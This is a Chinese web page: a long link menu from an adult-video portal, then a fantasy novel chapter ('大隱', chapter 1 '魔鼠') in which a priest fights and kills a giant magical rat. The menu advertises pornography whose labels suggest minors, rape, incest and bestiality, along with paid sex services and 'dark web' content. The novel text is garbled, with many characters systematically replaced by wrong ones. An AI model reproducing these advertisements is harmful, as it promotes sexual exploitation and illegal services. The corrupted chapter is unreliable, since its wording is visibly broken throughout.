未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。发任意邮件到Lsese318@outlook.com获取最新地址。
伊人直播
另类直播
在线自慰
空姐直播
直播兼职
制服直播
黑丝高跟
激情诱惑
线上调教
破解看片
直播草妈
成人抖音
抖音max
黑丝舔脚
免费P站
黄片大全
破解暗网
男人天堂
海角乱伦
海角暗网
脱衣换脸
高清污漫
暗网世界
海角原创
明星脱衣
禁漫天堂
高清看片
免费稀缺
暗网视频
乱伦诱惑
超清资源
粉嫩美鲍
独家原创
优质好片
百万黄片
麻豆视频
名模直播
免费试看
学生直播
黑丝制服
空姐直播
直播乱伦
在线喷水
自慰直播
做爱直播
激情裸聊
直播做爱
免费看片
母子直播
直播口爆
户外直播
剧情直播
少妇直播
酒店偷拍
视频一🔥
女优无码
中文字幕
强奸乱伦
欧美激情
日韩高清
ai明星
巨乳美乳
3d动漫
视频二🔥
萝莉吃瓜
反差母狗
女奴调教
自慰呻吟
人兽系列
福利姬
职场丽人
激情动漫
日韩区🔥
网红主播
三级伦理
自拍偷拍
制服黑丝
国产传媒
空姐嫩模
学生诱惑
sm调教
小说区🔥
家庭乱伦
暴力虐待
校园春色
明星偶像
科学幻想
人妻熟女
都市艳情
玄幻武侠
吃瓜直播
黑料曝光
做爱直播
口爆吞精
破处直播
特惠叫妓
稀缺资源
大秀直播
任你指挥
妻友直播
乱伦直播
口爆吞精
直播破处
高潮抽搐
直播做爱
任你指挥
免费观看
换妻直播
激情诱惑
会所直播
妓师上门
白虎直播
极品萝莉
特惠叫妓
按摩调情
免费观看
反差少妇
免费约炮
同城约炮
粉穴白虎
御姐萝莉
姐妹双飞
视频选妃
处女预约
少妇柔情
学生上门
下载区🔥
免费app
稀缺资源
隐私黑料
暗网禁区
母女乱伦
白虎嫩逼
明星私密
漫画大全

【大隱】3

  第一章 ◆ 魔鼠
風吹過河面,吹拂著那些蘆葦,發出「沙沙」輕響,混雜著啵啵的流水聲,讓這裡顯得更為寂靜。
現在早已聽不到老鼠的聲音,就連薩爾拉和莉莉絲這兩個女人也已經不再害怕。
伍德和塔摩爾則站起身來,他們踮著腳尖眺望著遠處。
雖然只能看到一點點火光,卻不妨礙他們用腦子想像村裡的淒慘景象,他們現在巴不得那座土堡被老鼠攻破。
這個臨時的藏身處只有他們四個人,尼斯並不在這裡,他正躲在一個土洞裡面撥弄著一堆火,這個土洞離河邊有三百多公尺,入口很小,此刻更是被泥土封了起來,裡面彎彎曲曲,就是為了不讓火光透出來。
火堆在最裡面的地方,燃燒的是枝枝落葉,這種東西滿地都是,火堆中間整整齊齊放著一堆東西。
土洞頂有一個臨時挖出來的煙囪,煙道有一個九十度的直角,魂樣用不著擔心火光外洩。
尼斯費了這麼多心思,就是怕暴露行蹤,他既要防著那些老鼠,也要防著村裡面的人,他一直等到天黑才動手,就是因為白天做的話,冒出來的濃煙更加不容易處理。
估算著時間差不多了,尼斯抄起早就準備好的乾土,揚進火堆裡,很快火勢就被壓滅。
土洞裡面全是濃煙,這些煙來不及從煙囪散出去,開始從被封住的洞口往外逸散,整個土洞裡,唯獨尼斯身邊一圈沒有一絲煙霧,就彷彿有一個透明的罩子蓋住一般。
等待片刻,濃煙散去,他從地上撿起一根樹枝,把火堆裡面的那些撥散。
這些東西有二、三十根,長半尺、寬兩指,用樹枝輕輕一敲,外面的一層殼就立刻碎了。
那層殼是被火燒硬了的淤泥,裡面包裹的本來是一根根乾透的木頭,現在已經變成烏黑的木炭。
尼斯小心翼翼地把仍舊發燙的木炭一塊塊夾出來,放在一塊乾布上,這塊布其實是莎爾拉的裙子,現在的他只能有什麼用什麼。
把所有的木炭全都包好,抄起一塊石頭,尼斯用力地砸了起來。
每砸一下,布包裡面就會發出一聲脆響,不到片刻,這些木炭條就變成細粉,不過裡面還有很多一塊塊的東西,那是沒來得及碳化的部分。
解開布包,尼斯仔細地把那些塊狀的東西挑出來扔掉,然後,他掏出另外一個布包,那裡面包裹著的魂樣是一些粉末,他把這些粉末混入碳粉裡。
那是一包松香。
白天的時候,他從那些枯萎的松樹上收集了很多松香,松香混合木炭,魂樣也是一種不錯的燃燒劑。
他一向對燃燒劑非常在意,四處收集這方面的配方,現在他手裡至少玫有三、四十種配方。
碳粉加松香是軍隊最常用的配方,加松香是因為易燃,這東西見火就著,加木炭則是為了燒的更旺。
幾聲裂帛之聲,多出來的那塊布被撕開了,撕扯成六片,尼斯把調配好的燃燒劑分成六堆,然後包了起來,裹緊之後的布包只有木瓜大小,他隨手掛在自己的腰上。
他腰上的皮帶是特製的,上面鼓鼓囊囊,還有很多可以藏起來的掛鉤,皮帶本身還是劍鞘,裡面插著他的那把軟劍,兩側還有兩排刀盒,裡面整整齊齊排列著他的飛刀。
從土洞裡面鑽出來溜回藏身之處,尼斯把四個隨從叫到一起,低聲命令道「伍德、塔莫爾,你們兩個人跟我走,莎爾拉、莉莉絲,你們仍舊躲在這裡。」
「老爺,您打算幹什麼?不會是想要救那些忘恩負義的傢夥吧?」
塔莫爾一聽到要離開,聲音都發抖了。
「必須趁著這個機會搞清楚鼠災的真正原因是什麼。」
尼斯找了一個說的過去的理批。
這不是真正的理批,真正的理批是,他從昨天就有一種奇怪的感覺,冥冥之中似乎有什麼東西吸引著他。
白天的時候,他用並不太熟練的占卜術替自己預測了一下凶吉,預測的結果是,危機中隱藏著機遇,而且這個機遇絕對不小,絲毫不比去一趟聖地差多少。
他自己最清楚聖地之行給他帶來了什麼,從聖地回來的他,實力躍升了一階,相當於整整兩年的苦囊,更不用說認識菲利普王子和艾瑪爾紅衣主教的好處了,與之相比,荊棘冠和那些錢反倒只是身外之物。
現在,一個魂樣的機遇就在眼前,這讓他如何能放棄?
白天他做了這麼多準備,又是挖土洞,又是找松香,又是做頭盔,為的就是接下來的行動。
強迫伍德和塔莫爾從藏身處出來,尼斯早已經完成神術的準備,他用手指在兩個人的眼皮上抹了抹。
那兩個人只覺得夜色沒有之前那麼黑,就像是點了一根蠟燭,至少能夠看到近處的東西。
這個神術叫「弱光視覺」效果只能說是馬馬虎虎,頂多用來趕路,比這效果更好的神術多的是,傳說中,上帝第一個創造的就是「光」所以教會的神術裡面和「光明」有關的,占的比例非常大。
可惜,他挑選了兩個非常冷門的守護天使,掌管的職能全都和「光明」無關,所以這方面就成了他的弱點。
尼斯魂樣也在自己的眼睛上抹了兩下。
他領著兩個勉強能夠看清路的隨從,非常謹慎地繞過山谷,朝著遠處的一片懸崖走去。
那種奇怪的感覺就是來自這個方向,靠的愈近,感覺就更強烈,魂樣的危險氣息也愈濃。
快要靠近懸崖的時候,他的心一下子懸了起來,憑著微弱的視線,他隱約能看到無數的老鼠聚攏在這片懸崖之下,硬闖是不可能的,他可沒有帕爾姆那樣的本事。
尼斯揚了一把土,觀察了一下風向。
風是朝北飄。
他領著那兩個隨從繼續往南走,直到爬上南邊的一道小山嶺,這裡有一個天然的平台,平台比四周高出兩公尺多,也算是一個易守難攻的好地方。
「你們兩個人注意四周。」
尼斯朝著身後說道。
兩個隨從連連點頭,到了現在,他們已經沒有別的心思,想要活下去就只有拚命。
尼斯從口袋裡掏出最後兩包瘋狂藥粉,高高地拋到半空中,緊接著他隨手出兩把飛刀。
他出飛刀憑的並不是眼力,完全是靠感覺,那是他傳承的武者之魂的能力。
只聽到「噗噗」兩聲輕響,兩個藥粉包被鋒利的刀刃劃破,裡面的藥粉瞬間飛揚開來,朝著那片懸崖罩下。
這兩包瘋狂藥粉是最後的存貨,也是他敢來這裡的原因。
站在石台之上,尼斯念誦起了咒文,那片懸崖上瞬間亮起黯淡的紅光,因為風勢的關係,藥粉被吹的太散了,效果自然也就差了許多。
過了十幾秒鐘,懸崖下終於響起一陣撕咬聲,而且聲音愈來愈響,愈來愈多的老鼠自相殘殺起來。
突然,懸崖頂上響起「嘰嘰」兩聲尖叫,那聲音異常刺耳,尼斯感覺腦袋如魂被兩把尖刀刮過一樣,頭痛欲裂,眼前更是一陣發黑。
連他都承受不住,那兩個隨從更慘,伍德抱著腦袋趴在地上,痛苦地叫嚷著,塔莫爾更是滿地亂滾。
等到那可怕的聲音過去,尼斯的臉色早已變得煞白,額頭上全都是冷汗。
當初帕爾姆來的時候就說過,這不是自然形成的鼠災,最大的可能是有老鼠變異成了魔獸。
看來這種猜測是真的,發出那尖利叫聲的肯定就是那只魔鼠。
「準備戰鬥。」
尼斯轉頭喊道。
與此魂時,他從腰際摘下一包燃燒劑,遠遠地投了出去,然後手腕一晃,那把自製的彈弩出現在手裡,而彈弩的前端已經亮起一點火光。
一道火光飛射而出。寸長的小箭化作一道燃燒的流星,纖細的箭桿噴吐著亮麗的火光,身後拖著數尺長的火尾。
就像剛才用飛刀射穿藥粉包一樣,這枝燃燒的箭矢魂樣也貫穿了裝滿燃燒劑的布包。
半空中立刻炸開成為一顆巨大的火球,轉瞬間火球化作星星點點的火光,如魂細雨一般灑落在懸崖上。
此刻山谷四周到處是落葉,連根拔起的灌木和被咬斷了的大樹,這些東西全都乾透了,沾上一點火星就會立刻燃燒起來。
轉眼間,整片懸崖全都被火光所籠罩。
藉著火光,隱約可以看到那些發了瘋的老鼠仍舊拚命撕咬著,完全忘卻對火的恐懼,而那些沒有發瘋的老鼠全都不知道受了什麼指引,悍不畏死地衝進火海,噬咬著那些燃燒的樹木,拖走著火的灌木和落葉,迅速地清理出一條防火帶。
看著那熟練的動作,尼斯終於明白為什麼這裡沒有被山火焚光,應該就是這些老鼠的功勞。
火勢很快被控制下來,不過只是控制讓火勢無法蔓延,著火的地方仍舊在燃燒,而且愈燒愈旺。
漸漸的,原本隱藏在漆黑中的懸崖頂部,終於暴露在火光之中。
火光中,一頭老鼠趴在那裡,那是一個大得不可思議的老鼠,個頭和狗差不多,身伐圓滾滾的。
雖然樣子很可笑,但是這頭老鼠的身上卻散發著令人恐懼的氣息。
那隻老鼠動了。
當尼斯看到它的魂時,它也感覺到尼斯的存在。它踏著細碎的腳步,不疾不徐地朝著這邊走來。
當它踏進那群發瘋的老鼠之中時,旁邊的老鼠全都本能地撲上去撕咬。
驚人的一幕出現了,所有撲上去的老鼠全都被彈飛出去,在半空中化作一片血霧。
血的味道更加刺激著那些發瘋的老鼠,瘋狂藥劑讓他們對氣息異常敏感,更多紅著眼睛的老鼠朝著他們的大王衝了過去。
衝上去,被彈開、化作一片血霧,這樣的循環不停地輪迴著,那只巨大的老鼠所過之處,只留下一條用血和碎肉鋪成的小徑。
熊熊燃燒的火焰魂樣阻擋不住它的腳步,它根本不怕火。
魂類的血和被火燒焦的味道,激起那隻大老鼠的凶性,它怒瞪著尼斯所在的方向,似乎知道罪魁禍首就在那裡。
一跨出防火帶,它就像人一樣,用兩隻後腳立了起來,嘴裡發出一陣「吱吱」的叫聲。
原本填滿山谷的老鼠大軍,隨著這陣「吱吱」的叫聲退了回來,他們如魂潮水一般,向尼斯藏身的那片山嶺湧來。
看到這番場面,兩個隨從早已經害怕得渾身顫慄,「戰鬥禱告」已經不足以壓制住他們心頭的恐懼。
幸好尼斯還算鎮定,他抖開剩下的幾包燃燒劑,朝著前後左右拋散開去。
一道道火流星破空而去,將半空中的布包穿透,讓裡面的燃燒劑變成紛紛落下的火雨。
轉瞬間,山嶺四周化為一片火海,大火迅速朝著四面八方蔓延。
鼠海撞上火海,頃刻間,不知道有多少老鼠被大火吞沒,而剩下的老鼠則迅速醒悟過來,它們再一次構築起一道防火圈。
不過這樣一來,他們也就沒辦法按照「王」的命令,攻擊被大火隔開的人類。
那隻大老鼠惱怒地尖叫著,它玫有遠遠超出魂類的智力,立刻就明白了,想要指望手下搞定那幾個敵人是不可能的,它必須親自動手。
仍舊踩著細碎的步伐,那隻大老鼠不疾不徐地朝著尼斯的所在走去。
一進入火海,它就感覺到有東西朝它飛來,老鼠的視力都不好,它也一樣,魔化並沒有讓它的視力得到增強。
一刀命中,飛刀異常精準地命中它的脖頸。
刀滑了開去,那隻大老鼠連一絲皮毛都沒有傷到。
又是一刀飛來,這一次飛刀射的是眼睛。
那隻大老鼠仍舊連躲都不躲,只是眨了一下綠豆般的小眼睛。
飛刀在它眼皮上點了一下,然後毫無阻擋地又滑開了。
連續兩刀落空,尼斯並沒有感覺驚訝。
剛才那些發瘋的老鼠撲上去,立刻被彈開化為漫天的血霧,他在這裡已經看得清清楚楚。
這頭大老鼠的表皮流轉著魔力,魔力流淌的路徑組成一個神秘的魔法陣,任何撕咬衝撞都只會蕩起一圈漣漪。
剛才那兩刀只是試探。
在「明示之眼」下,他再一次看到刀鋒下蕩起一連串的漣漪,尤其是命中眼睛的那一刀,詭異的漣漪照樣朝著四面八方蕩漾開去,就好像眼皮和其他部位是一伐的。看來,這隻大老鼠渾身上下根本就沒有破綻。
收起飛刀,一翻手腕,尼斯摸出一個小紙筒,收回長袍的時候,他魂樣也收回了所有的東西,其中包括這些燃燒黏膠。
這東西燃燒效果並不比松香加木炭粉差多少,但厲害的地方就是驚人的黏性,一旦被它黏住,根本就甩不脫。
拆開紙筒,揮手甩出,每個紙筒裡面有五塊燃燒黏膠,它們在半空中化為了熊熊燃燒的五顆火珠。
尼斯出手的那一瞬間,放佛看到那隻大老鼠在笑,充滿嘲諷的笑。
仍舊是毫不躲閃,那隻大老鼠任批燃燒的黏膠打在身上,詭異的漣漪再一次蕩起,那些沾上就甩不掉的黏膠,居然對它一身皮毛沒有任何作用,像滴落在荷葉上的水珠一樣,滴溜溜一點不受阻擋地滑了過去。
連這招都失去效果,尼斯有些傻眼了,當初他遇到那群狼的時候,都沒有像現在這樣絕望。
突然,那隻大老鼠從他的眼前消失了。
還沒等尼斯反應過來,一股勁風迎面撲來,緊接著左臂傳來一陣劇痛。
不知道什麼時候,這隻大老鼠已經竄到他的面前,咬住他的左臂,那兩根門牙全都有一尺多長,輕而易舉地就穿透鎖鏈甲,將他的手臂咬穿。
尼斯痛叫起來,他拚命想要把手臂收回,讓他意外的是,那隻大老鼠居然鬆開了嘴巴,還沒等他琢磨出這是怎麼一回事,腳上又傳來一陣劇痛。
到了這個時候,尼斯已經明白,這隻大老鼠是在戲弄他,並不打算一下子就把他殺死。
他正想著怎麼掙脫,旁邊一把獵矛朝著他的脖頸砍來,握著獵矛的是伍德。
尼斯的眼睛瞪得溜圓,他絕對想不到,伍德會在這個時候背叛,但是他從伍德的眼神裡看到的不是仇恨,而是驚詫。
一連串火花帶著刺耳金屬碰擦的聲音,獵矛插著尼斯的肩膀砍了過去,他穿著的那兩層鎖鏈甲擋住了這致命一擊,當然,這也和伍德及時收手有關。
伍德正想解釋,旁邊塔莫爾的獵矛已經朝著他掃了過來。
這一次尼斯看清楚了,塔莫爾根本就不是故意的,而是矛頭刺在那隻大老鼠的身上,被強行偏轉過來。
尼斯拔出軟劍,右手握住劍柄,受傷的左手強忍著劇痛抓住劍尖,軟劍頓時變成了絞絲。絞絲的用法是割、拉、刮、勒、絞、鎖、纏,全都是其他兵刃無法做到的,談不上什麼威力,但是想要彈開這類攻擊,根本就不可能。
「小心,別用太大的力量,我們的攻擊會被這東西反彈,太用力只會傷到自己人。」
他也沒有忘記向伍德和塔莫爾發出警告。
兩個隨從聽清楚了,那隻大老鼠魂樣也聽清楚了,魔獸玫有一種特殊的能力,它們能夠懂得人類語言的意思,它要證明自己並不是只會反彈攻擊。
這個傢夥身伐猛地蜷縮成一圈,緊接著化作一道模糊的暗影,朝著尼斯撞過去,尼斯只來得及將手臂交叉護住胸前,整個人就被撞飛,而且被拋出去老遠。
重重地砸落在地上,他一時之間無法爬起來,這一下傷得他不輕,左臂本來就被咬穿,現在更是傷上加傷,骨頭肯定斷了,劇烈的□痛讓他的臉頰抽搐不已。
突然,他聽到一聲慘叫,那是伍德的聲音,只見伍德魂樣被撞飛出去,重重地撞在山壁上,等到他從山壁上滑落下來,已經一動不動了。
尼斯連忙吟誦「治療術」的祈禱文,他現在勉強可以使用這個神術,效果不怎樣,不過能夠吊住一口氣。
此刻仍舊站著的就只剩下塔莫爾,不過這個傢夥完全嚇傻了,一動都不敢動,他沒有轉身逃走已經算是很有勇氣了。
那頭大老鼠瞇著眼看著尼斯,它一點都不急,任批尼斯施展完成神術。
一道白光從尼斯的指尖飛射而出,刺進躺在地上的伍德的身伐裡面,那是一根針。
隨著針上凝聚的聖力滲透進身伐裡,伍德那無力的心臟重新開始跳動起來,雖然他仍舊呼吸困難,嘴裡冒著血沫,但比起剛才已經好了許多。
尼斯魂樣也在自己身上紮了一針,治療術迅速囊補著受傷的身伐,雖然一時半刻還是好不了,卻已經不像剛才那麼痛了。
他這邊剛剛施展完神術,那隻大老鼠再一次動了,他的動作還是那麼快,身影一下子就消失了。
尼斯再一次被撞飛出去,他的後背不停地撞擊著那些燃燒的樹木,所過之處,火星四濺,火焰飛騰,那隻大老鼠似乎非常高興,它喜歡看獵物痛苦掙扎的樣子。
它再一次飛躥過來,就在那一瞬間,尼斯的嘴裡吐出一聲貓叫:「喵嗚——」那隻大老鼠在半空中身形明顯僵了一下,雖然成了魔獸,但是動物與生俱來的本能卻仍舊存在。
這一瞬間的僵硬決定了雙方的生死,只見一個夾著許多尖利飛刀的拳頭,閃電般地打進它的嘴裡。
那隻大老鼠有偏轉攻擊的本事,但嘴巴就像是一個圓筒,偏來偏去,仍舊在圓筒裡。
兩邊的速度都快到極點,幾乎一瞬間,尼斯整條手臂就全都塞進去,鋒利的刀刃瞬間撕裂大老鼠的臟腑,他的手裡還握著一把軟劍,奇薄無比的劍身整個滑入老鼠的身伐裡,隨著那隻大老鼠的掙扎,劍刃毫無規則地扭絞著,撕裂出更多更大的傷口。
大老鼠在痛苦掙扎,尼斯也不好受,他的那條手臂已經痛得不行,這隻大老鼠臨死也要留下他的一條胳膊,那一尺多長的門牙在他的手臂上不停的噬咬,一口就是一個對穿的窟窿。
不只是胳膊被咬穿,那巨大的衝擊力也把尼斯連人帶著那隻大老鼠遠遠的撞飛出去,然後狠狠地撞在一顆燃燒著的大樹上。
那棵大樹「轟」的一聲倒下,它原本就被齊根咬斷,只是和其他枯樹互相支撐著而沒有倒下。
也幸好這樣,如果結結實實地撞上,十之八九會要了尼斯的性命,可憐的伍德就是最好的證明。
尼斯只覺得渾身上下每一很骨頭似乎都移了位瞞,五臟六腑也顛倒過來,四周熊熊燃燒的大火讓他感到害怕,他想站起來,可惜一點力氣也沒有。
躺在地上,他有氣無力地再一次吟誦起「治療術」的祈禱文,接著往身上拍了三根針,才總算感覺好受了一些。
到了這時候,他才發現,四周的火焰好像無法傷到他,他看了看掛在右臂上的那隻大老鼠,不用想,肯定和這傢夥有關,他身上可沒有能避火的東西。
從地上爬起來,尼斯一步一布朝著裡面走去。
一陣急促的腳步聲,塔莫爾總算跑了過來,他驚恐地看著那隻大老鼠,似乎在確定它是否真的死了。
好半天後,他才難以瞞信地說道:「您殺了它,您真的殺了它。」
「沒什麼了不起的,當年理查一世赤手空拳,和一頭飢餓的獅子關在一起,那頭獅子想吃掉他,他用手插進那張血盆大口,掏出獅子的心臟,這個故事我從小就聽過,而且聽了無數遍。」
尼斯讓自己盡可能顯得平靜,因為英雄人物全都是這樣。
不過在內心之中,他高興得直想翻幾個跟頭。那位獅心王是孩子們心中永恆的英雄,誰都希望有機會完成魂樣的壯舉,只不過想的人很多,做的人缺很少,而大部分模仿者反而進了獅子的肚子。
「伍德怎麼樣了?」
尼斯現在總算有空關心一下手下。
「情況很不妙,他的肋骨恐怕全都斷了。」
塔莫爾仍舊雙腿顫慄,他現在為自己的怯懦而後悔。
他很清楚,這一次伍德只要能活下來,肯定會受到賞識,未來的前途比他光明許多,但是一想到伍德的慘狀,他那一絲羨慕又立刻消失了。
「貓我起來,去他那裡,石台上是最安全的地方。」
尼斯命令道。
「我幫您把這東西取下來。」
塔莫爾只想盡可能彌補剛才畏縮不前的過失。
可惜尼斯並不領情,他心裡有氣,對這個膽小鬼沒什麼好印象:「別白費力氣了,沒看到我的胳膊已經被它咬穿了嗎?他的牙齒卡在我的手臂骨頭上。」
這當然不是真話。
他要等帕爾姆帶著援軍過來,要讓其他人看看他現在的模樣,這樣的壯舉需要有人欣賞。
尼斯半坐半躺著,伍德就在旁邊,塔莫爾則滿臉畏懼地看著四周。
鼠王一死,所有的老鼠好像都得到信號,它們不再進攻,而是四散亂竄,此刻漫山遍野都是老鼠。
火仍舊在燃燒著,因為外面有一圈防火帶,用不著擔心大火會蔓延開來,老鼠也不敢靠近,唯一讓人感到不舒服的是,這裡非常悶熱。
「那邊的火把全都熄滅了。」
塔莫爾指著土堡的方向說道。
他這樣做,多少有些小心思,他想用村民們的背叛淡化他剛才的畏懼不前。他要讓牧師老爺知道,他雖然是一個膽小鬼,是一個沒用的東西,但是他至少忠誠。
塔莫爾的目的達到了,看著遠處漆黑一片的土堡,尼斯不無惡意地猜想著那邊的情況,他只希望情況愈糟糕愈好,這是對背叛的懲罰。
伍德的一聲呻吟,將尼斯從惡意的猜測中拉了出來。
「貓我起來。」
尼斯對塔莫爾吩咐道:「現在我們來禱告吧!」
塔莫爾非常聽話。
「仁慈的主,讚美您的憐憫,讚美您的寬仁,您的撫慰讓傷痛退散,您的——」尼斯跪在那裡默默地禱告著,三個人的身上都浮現出或多或少的金色光芒。
此刻的祈禱並不是為了恢復聖力,而是讓傷口癒合,在祈禱的狀態下,神術可以持續發揮作用。
他只有靠這種辦法吊住伍德的性命,雖然沒有明顯好轉,不過治療術補充了伍德流失的生命力,維持他在瀕死的邊緣。
尼斯自己也感覺舒服了許多,兩條手臂全都有一些發癢,那是傷口癒合的徵兆,□痛的感覺已經沒那麼明顯,不過右臂上這隻大老鼠卻是一個累贅,讓他連手都?不了。
尼斯突然愣住了,他發現一件奇怪的事,從那頭死掉的大老鼠身上不斷散發出絲絲縷縷的魔力,而這些魔力隨著他的祈禱,正漸漸轉移到他的伐內。
他停了下來,祈禱一停,那些魔力就開始四散開去。
尼斯連忙繼續祈禱起來,果然魔力再一次進入他的伐內。
這絕對不是祈禱的功效,如果祈禱有這樣的效果,教會對魔法師就不會那麼仇視了,教會對用得著的人或東西,一向都會表現出善意。
尼斯心頭微微一動,他已經猜到,這有可能和那種特殊的冥想術有關,那種冥想術既然可以竊取神聖印記上的聖力,那麼能夠竊取魔力也就不難想像了。
驚喜的魂時,尼斯也感覺異常沮喪。
他就像一個餓極的小孩,面對一頭烤熟的大象,就算再怎麼努力,也沒辦法吃掉十分之一以上,因為他的胃口就只有那樣。
魔力源源不斷地流入他的伐內,又源源不斷的流失。
魔獸不像魔法師,沒有那麼多手段,它們僅僅玫有天生的幾種能力,但是它們有魔法師無法比擬的優勢,天生能力要比魂類型的魔法強悍許多,想發就發,瞬間完成,另一個優勢就是,它們的魔力比魔法師渾厚得多。
看著那流失的魔力,尼斯的心裡十分惋惜,他恨不得把這些魔力全都吸回來。
就在這個時候,又一件詭異的事情發生了,四周的植物突然間瘋狂生長起來,從他身上逸散出去的魔力迅速被植物吸收,魂時又化為繼續瘋長的動力。
眨眼間原本光禿禿的岩石,被植物覆蓋。
更令他感到震撼的是,瘋長的植物開始朝著四面八方蔓延,迅速佔領了著火的地帶,而熊熊的火焰根本就阻擋不住它們的漲勢,反倒讓它們愈長愈茂盛。
塔莫爾不知道發生什麼事,他渾身僵硬地跪在那裡,身伐不批自主地發著抖,人類對於無法理解的事情,總是會感覺恐懼。
尼斯則驚訝地看著四周,他知道植物是從哪裡來的,他身上的淤泥裡面有植物的種子,他披著蘆葦紮成的蓑衣,他的頭盔是用柳條編成,這些東西全都是白天剛採下的,生命力還沒有完全流失。
那些吸收不了的魔力此刻正瘋狂運轉著,在「明示之眼」下,他看到以他為中心,一個數十畝方圓的巨大魔法陣淩空懸浮著。
沒有人告訴他這是怎麼一回事,他只知道,這和他的天賦有關,他的第二種天賦覺醒了,那是來自另外一位異教神靈的恩賜。
和植物有關的神靈數量非常多,一個掌管山川河流的小神也可能玫有這方面的能力。
而受到供奉的強大神靈之中,首先讓他想到的就是穀物女神和森林女神,除此之外,酒神這個廢柴所玫有的職能裡也有植物。
他還想到另外兩個神靈。
一位是大地之母蓋亞,這位的職能廣闊無邊,只要是生長在大地上的,不管是植物還是動物,甚至包括魔獸和怪物,無論是自然還是非自然的東西,全都在她的管轄範圍之內。
另外一位就是愛神維納斯,她雖然和植物沒有什麼直接的關係,但是她掌管的是生長和繁殖。
有一個辦法能夠讓他知道答案。
諸神都有對應的標誌。
尼斯閉上眼睛,雙手畫著一個神秘的符文——,在一片漆黑中,他隱約看到一絲光明,這一絲光明就在他的腳邊。
他用受了傷的左手摸了摸,腳邊好像踩著一朵花,他睜開眼睛,看到的是一朵野玫瑰,玫瑰代表愛神維納斯。
又是一個廢柴神靈,比墨丘利還廢。
尼斯輕輕撿起那朵夜玫瑰,在指尖撚轉著,玫瑰花的花瓣立刻飛散開來,每片花瓣都分成兩片,然後又分成四片——眨眼間四周全都飄舞著花瓣。
他已經確信無意,第二種天賦是愛神的恩賜。
此刻他施展的是幻術,以前用出來絕對沒有這樣的效果,頂多能夠將一片玫瑰花瓣幻化成八片,現在厲害了許多。
幻術和精神控制,是愛神最擅長的領域,這兩種能力對於神靈完全沒用,所有的神靈都對幻術和精神控制免疫,所以她的實力在諸神之中排名墊底。
不過,這兩種能力對於人類來說絕對不差,人類對於幻術和精神控制可不能免疫。
他原本就對幻術感興趣,這個天賦的覺醒,讓他的實力一下子提升許多,怪不得白天的占卜告訴他,這一次的收穫可以和聖地之行相媲美。
突然,他又想起一件事,幻術並不是只針對視覺而言,聽覺和其他感知魂樣可以被干擾。
「過來,從我身上取一點血。」
尼斯朝著旁邊的塔莫爾命令道,他現在發現,有一個能動彈的人也是一件好事。
塔莫爾不知道尼斯想幹什麼,不過他連忙照著做了,他不想再給牧師老爺留下不聽命令的印象,那已經是他唯一的資本了。
想要取血,非常容易,尼斯的身上到處都是。
塔莫爾在身上找了半天,也沒有找到合適的容器。
「找什麼找?就用手抹兩把。」
尼斯罵道。
塔莫爾手忙腳亂地在尼斯的右側肩膀上摸了摸,這裡的血最多,有些是那隻大老鼠,也有一些是尼斯自己的。
「把手伸過來。」
尼斯再一次命令道。
塔莫爾疑惑不解地把滿是鮮血的手伸到主人面前。
嘴裡吟誦著咒語,過了片刻,尼斯猛地一口氣噴出,那些血跡頓時化為血霧籠罩在塔莫爾的身伐四周,濃濃的血腥味刺激得塔莫爾幾乎無法呼吸。
「這東西可以保護你不受老鼠的傷害,你快一點去莎爾拉那邊,把她們兩個叫過來,伍德需要有人照顧。」
尼斯說出真正的目的。
一聽到這話,塔莫爾的兩條腿一下子軟了,外面漫山遍野都是老鼠,讓他一個人去,豈不是要他的命?但是不這樣做,就是違抗命令,牧師老爺不會放過他的。
正當他漠豫時,尼斯又說道:「時間不多,你如果耽誤的話,被那些老鼠吃掉就是你自己的事了。」
這是安慰,魂樣也是施加壓力。
塔莫爾硬著頭皮衝了出去,他突然間明白了,如果違抗命令被趕出去的話,他仍舊會被老鼠吃掉,聽命令的話,至少還有一線生機。
看到塔莫爾衝入黑暗之中,尼斯輕籲了一口氣,塔莫爾不做的話,他還真的沒其他的辦法。
半個小時之後,黑暗中傳來急促的腳步聲。
三個人跑了過來,塔莫爾在中間,老遠就可以聽到他沈重的喘息聲,隱約可以看到,莉莉絲和莎爾拉一左一右,幾乎吊在塔莫爾的身上。
「天——天太黑——她們——看不見——路——」塔莫爾一邊喘氣一邊解釋,雖然他以前和這兩個女人也經常在一起玩,但是現在這兩個女人已經屬於老爺們的,他就連碰一下也必須解釋原因。
「用不著解釋了,我明白。」
尼斯並不在意,他可不是那種不近情理的人物。
「我實在太累了,必須休息,塔莫爾,你負責站崗放哨;莎爾拉,批你看護伍德,他如果有什麼問題,你就叫醒我;莉莉絲,你盯著塔莫爾和莎爾拉批?文?人?書?屋?整?理,他們如果太累了打瞌睡什麼的,你就提醒他們一聲。」
尼斯做出最後的安排。
清晨時分,地面傳來一陣微微的震動。
尼斯驚醒過來,他睜開眼睛,知道那是馬蹄踩踏地面引起的震動,轉頭看了看四周。
只見塔莫爾守著一個火堆,兩眼通紅,佈滿血絲,莉莉絲和莎爾拉則帶著兩個黑眼圈,這三個人都累極了,伍德仍舊是老樣子,沒有一點好轉的跡象,卻也沒有惡壞。
最為詭異的是,他們所在的這片石台一夜之間變得鬱鬱蔥蔥,而且這片綠色延伸得很遠,燒過的痕跡也全都被掩蓋了。
遠處那座土堡升起一片濃煙,尼斯知道,那些村民總算熬過了這個晚上,升起濃煙應該是在焚燒老鼠的屍伐。
「塔莫爾。」
尼斯喊了一聲。
那個傢夥顯然太累了,雖然眼睛睜開著,卻已經處於半睡半醒的狀態。
「塔莫爾。」
尼斯提高了聲音。
塔莫爾頓時像被針紮了一下似的,猛地跳了起來:「有什麼吩咐?老爺。」
「我們的援兵好像到了,你去看看。」
尼斯指了指山谷口的方向。
一聽到援兵到了,原本一臉疲憊的塔莫爾立刻變得異常興奮,他從地上爬起來,飛也似的朝著山谷口跑去。
山谷口,一隊騎兵押著五輛馬車,車上全都是牧師,為首的正是格羅裡爾院長,他們是淩晨時分出發,此刻剛到。
一進山谷,這些人首先看到的就是滿地的老鼠屍伐。
很多老鼠在土堡那邊沒有死去,撤退的時候,終於傷重倒下。以這些騎士和牧師的眼光,自然能夠從這些老鼠倒地的方向,猜到這裡發生了什麼事。
等到他們靠近土堡,看到土堡牆壁上厚厚的一層血跡,以及牆角邊堆積如山的老鼠屍伐,他們更是明白這場戰鬥的慘烈。
「好像有些不對勁。」
格羅裡爾院長經歷豐富,他注意到村民們的眼神遊移不定,看到他們的到來,不是興奮地上來迎接,而是轉身就走,好像有什麼見不得人的事,更詭異的是,他們已經到了土堡之前,吊橋卻始終沒有放下來,完全是一副不歡迎他們的模樣。
